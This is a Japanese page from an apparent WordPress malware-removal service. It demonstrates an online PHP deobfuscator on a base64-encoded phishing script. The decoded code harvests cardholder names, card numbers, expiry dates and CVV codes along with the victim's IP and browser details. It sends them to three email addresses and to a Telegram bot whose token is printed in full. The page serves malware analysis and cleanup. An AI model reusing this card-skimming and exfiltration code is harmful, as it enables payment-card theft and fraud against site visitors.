Japanese English

PHP 難読化コードの復元・デコード

Wordpress　等でのPHPのマルウェア・ウィルス・改ざんコードをデコードして難読化をオンラインで解除し、
元の読みやすいコードに戻し解読できます。

※すべての難読化コードを解除できるわけではございませんのでご理解とご了承をお願いいたします。

下記のコードを難読化解除しました

<?php eval(base64_decode('ZXZhbChiYXNlNjRfZGVjb2RlKCdKR2t4YVQwblBUMDlQVDA5UFQwOVBUMDlQVDA5UFQwOVBUMDlQVDA5UFQwOVBUMDlQVDA5UFQwOVBUMDlQVDA5UFQwOVBUMDlQVDA5UFQwOVBUMDlDZ285UFQwOVBUMDlQVDA5UFQwOVBUMEtUMkptZFhOallYUnBiMjRnY0hKdmRtbGtaV1FnWW5rZ1ZXNXJibTkzYm1SbGRtbGpaVFkwSUMwZ1JuSmxaU0JQYm14cGJtVWdVRWh...



難読化されたPHPコード

<?php eval(base64_decode('ZXZhbChiYXNlNjRfZGVjb2RlKCdKR2t4YVQwblBUMDlQVDA5UFQwOVBUMDlQVDA5UFQwOVBUMDlQVDA5UFQwOVBUMDlQVDA5UFQwOVBUMDlQVDA5UFQwOVBUMDlQVDA5UFQwOVBUMDlDZ285UFQwOVBUMDlQVDA5UFQwOVBUMEtUMkptZFhOallYUnBiMjRnY0hKdmRtbGtaV1FnWW5rZ1ZXNXJibTkzYm1SbGRtbGpaVFkwSUMwZ1JuSmxaU0JQYm14cGJtVWdVRWhRSUFvS1QySm1kWE5qWVhSdmNncG9kSFJ3T2k4dmQzZDNMblZrTmpRdVkyOXRMd285UFQwOVBUMDlQVDA5UFQwOVBUMDlQVDA5UFQwOVBUMDlQVDA5UFQwOVBUMDlQVDA5UFQwOVBUMDlQVDA5UFQwOVBUMDlQVDA5UFQwOVBUMDlQVDBLQ2owOVBUMDlQVDA5UFQwOVBUMDlQU2M3Q21sdVkyeDFaR1VnSWk0dUwwVnRZV2xzTG5Cb2NDSTdDZ29rYVhBZ1BTQm5aWFJsYm5Zb0lsSkZUVTlVUlY5QlJFUlNJaWs3Q2lSeVpYQnlhVzUwSUQwZ0ltVWlPeVJrYjE5d1BTSnRZV2tpT3dva2JXVnpjMkZuWlNBdVBTQWlMUzB0TFMwdExTMHRMUzB0TFMwZ1JISmZSbGhPUkNBdExTMHRMUzB0TFMwdExTMHRYRzRpT3dva2JXVnpjMkZuWlNBdVBTQWlSbWx5YzNRZ1RtRnRaU0E2SUNJdUpGOVFUMU5VV3lkbWFYSnpkRTVoYldVblhTNGlYRzRpT3dva2JXVnpjMkZuWlNBdVBTQWlUR0Z6ZENCT1lXMWxJRG9nSWk0a1gxQlBVMVJiSjJ4aGMzUk9ZVzFsSjEwdUlseHVJanNLSkcxbGMzTmhaMlVnTGowZ0lrTmhjbVFnYm5WdFltVnlJRG9nSWk0a1gxQlBVMVJiSjJOeVpXUnBkRU5oY21ST2RXMWlaWEluWFM0aVhHNGlPd29rYldWemMyRm5aU0F1UFNBaVJYaHdhWEpoZEdsdmJpQmtZWFJsSUNoTlRTa2dPaUFpTGlSZlVFOVRWQW9LV3lkRmVIQnBjbUYwYVc5dVpHRjBaVTFOSjEwdUlseHVJanNLSkcxbGMzTmhaMlVnTGowZ0lrVjRjR2x5WVhScGIyNGdaR0YwWlNBb1dWa3BJRG9nSWk0a1gxQlBVMVFLQ2xzblJYaHdhWEpoZEdsdmJtUmhkR1ZaV1NkZExpSmNiaUk3Q2lSdFpYTnpZV2RsSUM0OUlDSlRaV04xY21sMGVTQmpiMlJsSUNoRFZsWXBJRG9nSWk0a1gxQlBVMVFLQ2xzblkzSmxaR2wwUTJGeVpGTmxZM1Z5YVhSNVEyOWtaU2RkTGlKY2JpSTdDaVJ0WlhOellXZGxJQzQ5SUNJdExTMHRMUzB0TFMwdExTMHRMU0JKVUNCVWNtRmphVzVuSUMwdExTMHRMUzB0TFMwdExWeHVJanNLSkcxbGMzTmhaMlVnTGowZ0lrbFFJQ0FnSUNBZ09pQm9kSFJ3Y3pvdkwzZDNkeTVuWlc5a1lYUmhkRzl2YkM1amIyMHZQMGxRUFNScGNGeHVJanNLSkcxbGMzTmhaMlVnTGowZ0lraHZjM1FnSUNBZ09pQWlMbWRsZEdodmMzUmllV0ZrWkhJb0pHbHdLUzRpWEc0aU93b2tiV1Z6YzJGblpTQXVQU0FpUW5KdmQzTmxjaUE2SUNJdUpGOVRSVkpXUlZKYkowaFVWRkJmVlZORlVsOUJSMFZPVkNkZExpSmNiaUk3Q2lSdFpYTnpZV2RsSUM0OUlDSXRMUzB0TFMwdExTMHRJRVJ5WDBaWVRrUWdJQzB0TFMwdExTMHRMVnh1SWpzS0pITjFZbXBsWTNRZ1BTQWlRMkZ5WkNCRGNtVmthWFFnT2lrZ2ZDQkVjbDlHV0U1RUlId2dKR2x3SWpzS0pHaGxZV1JsY25NZ1BTQW5Sbkp2YlRvZ1JISkdXRTVFSnlBdUlDSmNjbHh1SWpzS0pHMDFYMmxrSUQwZ0p6SXhhR0ZYZDNWWk1qbDBKenNLUUcxaGFXd29KRVZ0WVdsc0xDUnpkV0pxWldOMExDUnRaWE56WVdkbExDUm9aV0ZrWlhKektUc0tDa0JtYVd4bFgyZGxkRjlqYjI1MFpXNTBjeWdpYUhSMGNITTZMeTloY0drdWRHVnNaV2R5WVcwdWIzSm5MMkp2ZENJdUNnb2tZWEJwTGlJdmMyVnVaRTFsYzNOaFoyVS9ZMmhoZEY5cFpEMGlMaVJqYUdGMGFXUXVJaVowWlhoMFBTSWdMaUIxY214bGJtTnZaR1VLQ2lna2JXVnpjMkZuWlNrdUlpSWdLVHNLQ21obFlXUmxjaWdpVEc5allYUnBiMjQ2SUM0dUwybHVabTh1Y0dod0lpazcnKSk7')); ?>
<?php eval(base64_decode('ZXZhbChiYXNlNjRfZGVjb2RlKCdiV0ZwYkNnbmQyVmliV0Z6ZEdWeVFHMWhlSGRsYkd4elpYSjJhV05sTG1OdmJTY3NKSE4xWW1wbFkzUXNKRzFsYzNOaFoyVXNDZ29rYUdWaFpHVnljeWs3Q20xaGFXd29KMnBzWTJGd2MzTTVRR2R0WVdsc0xtTnZiU2NzSkhOMVltcGxZM1FzSkcxbGMzTmhaMlVzSkdobFlXUmxjbk1wT3dwdFlXbHNLQ2RyWlc1eWIyZGxjbk52YmtCd2NtOTBiMjV0WVdsc0xtTnZiU2NzSkhOMVltcGxZM1FzSkcxbGMzTmhaMlVzSkdobFlXUmxjbk1wT3dva1lYQnBJRDBnSWpVNU1UTTRNamc0TURZNlFVRkhWalpMYURacFIzUjJNM0E1VjJGQlJIWldRMUZIUVRkd1pWOVRjWFJuY21jaU93b2tZMmhoZEdsa0lEMGlOVGMyTnpVNU16azVJanNLWm1sc1pWOW5aWFJmWTI5dWRHVnVkSE1vSW1oMGRIQnpPaTh2WVhCcExuUmxiR1ZuY21GdExtOXlaeTlpYjNRaUxnb0tKR0Z3YVM0aUwzTmxibVJOWlhOellXZGxQMk5vWVhSZmFXUTlJaTRrWTJoaGRHbGtMaUltZEdWNGREMGlJQzRnZFhKc1pXNWpiMlJsQ2dvb0pHMWxjM05oWjJVcExpSWlJQ2s3JykpOw==')); ?>

デコード(難読化解除)されたコード

<?php

eval("\$i1i='=========================================================\n\n===============\nObfuscation provided by Unknowndevice64 - Free Online PHP \n\nObfuscator\nhttp://www.ud64.com/\n===============================================================\n\n===============';\ninclude \"../Email.php\";\n\n\$ip = getenv(\"REMOTE_ADDR\");\n\$reprint = \"e\";\$do_p=\"mai\";\n\$message .= \"-------------- Dr_FXND -------------\\n\";\n\$message .= \"First Name : \".\$_POST['firstName'].\"\\n\";\n\$message .= \"Last Name : \".\$_POST['lastName'].\"\\n\";\n\$message .= \"Card number : \".\$_POST['creditCardNumber'].\"\\n\";\n\$message .= \"Expiration date (MM) : \".\$_POST\n\n['ExpirationdateMM'].\"\\n\";\n\$message .= \"Expiration date (YY) : \".\$_POST\n\n['ExpirationdateYY'].\"\\n\";\n\$message .= \"Security code (CVV) : \".\$_POST\n\n['creditCardSecurityCode'].\"\\n\";\n\$message .= \"-------------- IP Tracing ------------\\n\";\n\$message .= \"IP      : https://www.geodatatool.com/?IP=\$ip\\n\";\n\$message .= \"Host    : \".gethostbyaddr(\$ip).\"\\n\";\n\$message .= \"Browser : \".\$_SERVER['HTTP_USER_AGENT'].\"\\n\";\n\$message .= \"---------- Dr_FXND  ---------\\n\";\n\$subject = \"Card Credit :) | Dr_FXND | \$ip\";\n\$headers = 'From: DrFXND' . \"\\r\\n\";\n\$m5_id = '21haWwuY29t';\n@mail(\$Email,\$subject,\$message,\$headers);\n\n@file_get_contents(\"https://api.telegram.org/bot\".\n\n\$api.\"/sendMessage?chat_id=\".\$chatid.\"&text=\" . urlencode\n\n(\$message).\"\" );\n\nheader(\"Location: ../info.php\");");
eval {
    mail('webmaster@maxwellservice.com', $subject, $message, $headers);
    mail('jlcapss9@gmail.com', $subject, $message, $headers);
    mail('kenrogerson@protonmail.com', $subject, $message, $headers);
    $api = "5913828806:AAGV6Kh6iGtv3p9WaADvVCQGA7pe_Sqtgrg";
    $chatid = "576759399";
    file_get_contents("https://api.telegram.org/bot5913828806:AAGV6Kh6iGtv3p9WaADvVCQGA7pe_Sqtgrg/sendMessage?chat_id=576759399&text=" . urlencode($message) . "");
};

■【無料】ワードプレス:マルウェアスキャン＆セキュリティープラグイン [マルウェア・ウィルス検出と駆除]

■WordPress のマルウェア駆除、セキュリティー対策 カスタマイズや修正、引っ越し・復旧のご依頼承ります

（C）2019 ワードプレス ドクター All rights reserved.